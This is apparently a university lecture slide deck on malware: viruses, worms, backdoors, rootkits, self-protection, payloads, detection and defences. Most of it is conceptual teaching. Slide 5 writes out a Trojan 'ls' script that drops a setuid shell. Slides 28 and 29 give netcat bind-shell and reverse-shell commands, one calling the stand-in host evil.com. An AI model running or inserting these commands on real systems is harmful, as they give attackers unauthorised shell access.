CSC 382: Computer Security

1. CSC 382: Computer Security Malware CSC 382: Computer Security

2. Topic • Types of Malware • Trojan Horses • Viruses • Worms • Backdoors • Rootkits • Self-Protection Mechanisms. • Payloads. • Malware Interactions. • Detecting Malware. • Defending against Malware. CSC 382: Computer Security

3. Types of Malware Trojan Horse Tricks user into executing malicious code. Virus Copies self into other files. Worm Copies self from computer to computer. Backdoors Leaves opening for attacker to gain access. Rootkits Hides attacker activities from system administrators. CSC 382: Computer Security

4. What about Spyware? Malware by any other name… • Corporate malware. • Presents legal issues for anti-malware software. CSC 382: Computer Security

5. Program with both an overt and covert effect Displays expected behavior when user executes. Covert effect (executed with user’s privileges) violates security policy. Attacker: cat >ls cp /bin/sh /tmp/.xxsh chmod u+s,o+x /tmp/.xxsh rm ./ls ls $* ^D Victim: ls Trojan Horse CSC 382: Computer Security

6. Virus Self-replicating code • Propagating (replicating) Trojan horse. • Inserts (possibly evolved) copy into other files. Virus Pseudocode: If spread condition then Foreach target-file if not infected then copy virus to target-file Perform (malicious) action Execute normal code CSC 382: Computer Security

7. Types of Viruses • Boot Sector • When system boots, code in boot sector executed. • Propagate by altering boot disk creation. • Uncommon today because of low use of boot floppies. • Executable • Infects executable programs (e.g., COM, EXE). • Executes when infected program is run. • Virus usually runs first, then runs original code. • Dynamic Library • Infected dynamicly linked libraries (DLLs.) • Executed when any program uses infected DLL. CSC 382: Computer Security

8. Types of Viruses • Device Driver • Infects loadable device driver. • Executes in kernel mode. • Virtual Machine (.NET) • Infects .NET MSIL binaries. • Portable: compiled to native code by CLR. • Archive Infectors • Inserts Trojan horse into ZIP files. • Uses social engineering techniques to get user to run. CSC 382: Computer Security

9. Types of Viruses • Macro Virus • Infects embedded interpreted code. • Needs interpreter like sh, MS Word macro. • Can infect executables or data files • Executables must invoke appropriate interpreter. • Most modern data formats support some type of scripting, including • Microsoft Office • Windows Help files • HTML: VBScript, JScript CSC 382: Computer Security

10. Infection Methods • Overwriting • Overwrites program code with virus. • Breaks infected program. • Appending • Append virus code to executable. • Insert JMP at beginning of executable. • Prepending • Insert virus code at beginning of executable. • Shift original code to follow virus. CSC 382: Computer Security

11. Infection Methods • Parasitic • Inserts virus code at beginning of executable. • Shifts beginning of program to end of file. • Cavity • Insert virus code into unused blocks of file. • Insert JMP at beginning of executable. • Fractionated Cavity • Fragment virus; inject into multiple cavities. • Loader reads fragments into continuous memory. CSC 382: Computer Security

12. Infection Methods • Compressing • Compresses executable to make space. • Inserts virus and decompression code. • Fragmenting • Dynamically fragment virus. • Insert fragments by overwriting or shifting code. • Fragments JMP/CALL each other. • Companion • Infects COM file of same name as EXE file. • Infects alternate data stream of Win32 file. CSC 382: Computer Security

13. In-Memory Strategies Direct Action • Virus runs only when infected code is run. Memory Resident • Remains active in memory after application terminates. • Interrupt hook (TSR) in DOS. • Kernel-mode rootkit techniques under modern OSes. • Can infect any program that runs after virus. • Example: Jerusalem Virus (Danube variant) • Multipartite TSR virus. • Infects all executables except command.com. • Also infects boot sector. • Deletes files on Friday the 13th. CSC 382: Computer Security

14. Worms Copies self from one computer to another Self-replicating: No user action required unlike virus or Trojan horse programs. Spreads via network protocols ex: SMTP (email), fingerd, MS SQL CSC 382: Computer Security

15. History of Worms CSC 382: Computer Security

16. Worm Components • Vector • Propagation Engine • Remote Control Interface • Target Selection Algorithm • Scanning Engine • Payload CSC 382: Computer Security

17. Vector Software to gain access to target host. Common vectors: • Buffer overflow exploits. • Network file sharing, both NFS/SMB and P2P. • Social-engineering via email or IM. • Weak passwords. • Parasitism: target backdoors and worm flaws. CSC 382: Computer Security

18. Propagation Engine Transfers worm to host exploited by vector. • Small worms like Slammer included in vector. Worm Propagation Methods: • FTP • HTTP • SMB • TFTP CSC 382: Computer Security

19. Remote Control Interface RCI allows creator to control infected hosts. Many worms do not have a RCI. May be a well-known backdoor program. Common remote control features: Start/stop infecting new targets. Download new vectors. Download new target selectors. Download new payloads. CSC 382: Computer Security

20. Target Selection Selecting targets for potential infection. E-mail address harvesting • Address books. • Parse disk files. • Search news groups. Network share enumeration • Check for filesystems shared with other systems. Network scanning • Target hosts on current network and connected nets. • Randomized scanning of Internet space. Web searching • Search Google for addresses or vulnerable software. CSC 382: Computer Security

21. Scanning Engine Check targets for vulnerabilities. • If vector small, scanning can be skipped. Scan for vulnerable services. • Like targeted nmap port scan. OS Check • Check for correct OS for vector to work. Version checking. • Check version of target software. • May customize vector based on information. CSC 382: Computer Security

22. Morris Worm • First Internet Worm: November 1988 • Multi-architecture: Sun, VAX • Multi-vector • sendmail (debug backdoor) • fingerd (buffer overflow) • rsh (open .rhosts; password cracking) CSC 382: Computer Security

23. Morris Worm Spreading algorithm Local network topology: gateways, neighbors. Used users’ .rhosts, .forward files. Limited reinfection rate. Detection Avoidance Forged process listing as (sh). Removed created files quickly after use. CSC 382: Computer Security

24. Morris Worm Resource Requirements Disk Space. C compiler and linker. Network connection to parent computer. Problems Didn’t limit re-infections. Saturated CPU, network resources. CSC 382: Computer Security

25. CSC 382: Computer Security

26. Types of Backdoors • Local Privilege Escalation • Remote Command Execution • Remote Shell Access • Remote GUI Control CSC 382: Computer Security

27. Backdoor Techniques • Trojan-horse login or hidden SUID root shell • Open shell on high port, via netcat or inetd • Reverse telnet connection • Trojaned ssh running on a high port • Telnet-type service on high UDP port • Covert channel: Loki “ICMP telnet” • CGI “shell” script on web server • Port knocking: backdoor service only begins to listen on port after a certain sequence of attempted connections are made to closed ports. • Sniffer-based backdoor: backdoor service begins to accept commands after receiving special packet not addressed to IP address. CSC 382: Computer Security

28. stdin stdin Network Netcat (client) Netcat (server) stdout stdout Netcat Backdoors # nc –l –p 2222 –e /bin/sh (server on victim) $ nc victim.org 2222 (client on attacker host) CSC 382: Computer Security

29. Reverse Backdoors • What if the firewall blocks port 2222? • What if the firewall blocks all incoming connections to victim.org? • Solution: • Run the listener on the attacker host (evil.com). nc –l –p 80 • Run the client with a shell on the victim host. nc evil.com 80 –e /bin/sh CSC 382: Computer Security

30. Finding Backdoor Scripts Manual Scan Time-consuming and error prone. Automatic UNIX: chkrootkit, Titan Windows: Autorun from www.sysinternals.com File Integrity Check HIDS like Tripwire CSC 382: Computer Security

31. What is a rootkit? Collection of attacker tools installed after an intruder has gained access • Log cleaners • File/process/user hiding tools • Network sniffers • Backdoor programs CSC 382: Computer Security

32. Rootkit Goals • Remove evidence of original attack and activity that led to rootkit installation. • Hide future attacker activity (files, network connections, processes) and prevent it from being logged. • Enable future access to system by attacker. • Install tools to widen scope of penetration. • Secure system so other attackers can’t take control of system from original attacker. CSC 382: Computer Security

33. Rootkit Types Binary Rootkits • Replace user programs like ls, netstat, and ps to hide malicious activity • Add backdoors to programs like login and sshd Library Rootkits • Replace core system libraries to intercept common system calls to hide activities and add backdoors Kernel Rootkits • Modify system calls/structures that all user-mode programs rely on to list users, processes, and sockets • Add backdoors to kernel itself CSC 382: Computer Security

34. Knark • Linux-based LKM rootkit • Features • Hide/unhide files or directories • Hide TCP or UDP connections • Execution redirection • Unauthenticated privilege escalation • Utility to change UID/GID of a running process. • Unauthenticated, privileged remote execution daemon. • Kill –31 to hide a running process. • modhide: assistant LKM that hides Knark from module listing attempts. CSC 382: Computer Security

35. Rootkit Detection • Online scan • Examine commonly changed files and logs. • Scan kernel modules, examine kernel memory. • Examples: chkrootkit or carbonite • Offline system examination • Mount and examine disk using another OS kernel+image. • Knoppix: live CD linux distribution. • Computer Forensics • Examine disk below filesystem level. • Helix: live CD linux forensics tool. CSC 382: Computer Security

36. Malware Self-Protection Anti-debugging Detect/disable debuggers when used to analyze code. Attack anti-malware tools Disable anti-malware tools upon infection. Kill processes or destroy/modify signatures. API checksums Avoid having UNIX/Win32 API calls in code. Store checksums of API names and search for match. Code obfuscation Use unusual tricks and unused code to avoid dissassembly and prevent quick analysis of purpose. Self-modifying code. CSC 382: Computer Security

37. Self-Protection Compression Code looks almost random; size is smaller. Use unusual executable packers to avoid analysis. Data encryption Encrypt strings, hostnames, IP addresses to avoid detection. Embedding Embed infection in one format inside a document inside an archive file. Scanners have to understand and have time to parse and decompress each file format. CSC 382: Computer Security

38. Self-Protection Entry-Point Obscuring Changing initial code or entry point easy to notice. Alter program code to gain control randomly. Host morphing Alter host file during infection to prevent removal. CSC 382: Computer Security

39. Self-Protection: Encryption Encrypt all code except small decryptor. • Note that copy protected files will have similar decryptors to prevent analysis too. • Often uses multiple decryptors. • Change encryption key dynamically. Random Decryption Algorithm (RDA) • Choose random key for encryption. • Brute force search for key to decrypt. • Slows VMs/debuggers used for analysis. CSC 382: Computer Security

40. Self-Protection: Polymorphism Alter malware code with each infection. • Cannot be detected by signature scanning. • May alter decryptor only or entire code. • Insert junk instructions that do nothing. • Fragment and rearrange order of code. • Alternate sets of instructions for the same task. • Ex: SUB -1 instead of ADD 1 • Randomize names in macro viruses. CSC 382: Computer Security

41. Case Study: Zmist EPO, encrypted, polymorphic virus. Code integration Decompiles PE files to smallest elements. Inserts virus randomly into existing code. Rebuilds executable. Polymorphic decryptor Inserted as random fragments linked by JMPs. Randomizes self with ETG engine. CSC 382: Computer Security

42. Payloads Accidentally destructive. Replication damages data due or exhausts system resources due to malware bugs. Ex: Morris Worm reinfected hosts, using all CPU. Nondestructive. Displays message, graphics, sound, or open CD door. Ex: Christma worm on IBM network in 1987. Destructive. Triggers randomly or on some event or machine type. Deletes files or overwrites data. Hardware destroyers: overwrite BIOS. CSC 382: Computer Security

43. Payloads Denial of Service Sometimes accidental due to high network use. Launch DDOS attack with all infected systems. Data Theft Phishing scams and spyware. Encryptors Encrypts user data. Ex: One_Half encrypts disk; enables access while running. Ex: AIDS Info: encrypts disk and holds for ransom. Spam Use network of infected systems to launder spam email. Ex: Sobig worm. CSC 382: Computer Security

44. Malware Interactions What happens when a virus infects a worm? Typically both propagate. May use each other’s self-protection techniques. What if anti-virus software removes a virus? Likely leaves unknown virus/worm alone. May mutate the malware into a new form. Competition and Parasitism Malware may remove competing malware. May exploit backdoors/RCI left by previous malware. May infect competing malware, hijacking its propagation. CSC 382: Computer Security

45. Theory of Malicious Code Theorem 22-1: It is undecidable whether an arbitrary program contains a computer virus. Proof: Define virus v as TM program that copies v to other parts of the tape, while not overwriting any part of v. Reduce to Halting Problem: T’ running code V’ reproduces V iff running T on V halts. Theorem 22-2: It is undecidable whether an arbitrary program contains malicious logic. CSC 382: Computer Security

46. Detecting Malware Signature-based • Look for known patterns in malicious code. • Defeated by polymorphic viruses. Smart scanning • Skips junk instructions inserted by poly engines. • Skips whitespace/case changes in macro viruses. Decryption • Brute-forces simple XOR-based encryption. • Checks decrypted text against small virus sig to decide whether has plaintext or not. CSC 382: Computer Security

47. Detecting Malware Code Emulation • Execute potential malware on VM. • Scan VM memory after certain # iterations. • Watch instructions for decryptor profile. Code Optimization. • Optimize away junk instructions and odd techniques used by polymorphic viruses. CSC 382: Computer Security

48. Detecting Malware Heuristics • Code execution starts in last section. • Suspicious code redirection. • Suspicious section ACLs or size. • Suspicious library routine imports. • Hard-coded pointers into OS kernel. Neural Network Heuristics • IBM researchers trained neural net to recognize difficult polymorphic viruses. • Released in Symantec antivirus. CSC 382: Computer Security

49. Detecting Malware Behavior-based • Watch for known actions from malicious code. • Network access signature of worm. • Unexpected use of dangerous system calls. Integrity Checking • Host-based Intrusion Detection System. • Record MAC, size, dates, ACL of files. • Periodically check for changes. • ex: Tripwire, AIDE CSC 382: Computer Security

50. Defences Separate data and instructions • Virus treats program as data • Writes self to file. • Virus treats program as instructions • Virus executes when program is run. • Solution: Treat all programs as data until trusted authority marks as executable. • Development difficult when compilers can’t produce executable code. CSC 382: Computer Security